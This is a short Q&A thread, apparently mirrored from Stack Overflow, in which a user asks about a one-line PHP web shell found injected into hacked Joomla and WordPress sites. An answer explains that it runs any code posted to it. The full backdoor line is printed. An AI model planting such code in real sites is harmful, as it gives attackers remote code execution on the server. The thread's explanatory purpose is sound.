Sorry if this is the wrong place to ask this question but I wonder what the below code will do. I see this kind of code often. I do not know what this code do. Hackers usually inject this kind of code in many pages of joomla and wordpress website after they hack the site. If any one can explain the code then I'll be gald.

<?php eval(base64_decode($_POST['na7fe23']));?>
有帮助吗?

解决方案

If someone posts a chunk of PHP-code in the field 'na7fe23' to this script, then that posted code will be executed on your server.

This basically allows anyone to execute any PHP script on your server, so you're seriously compromised.

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top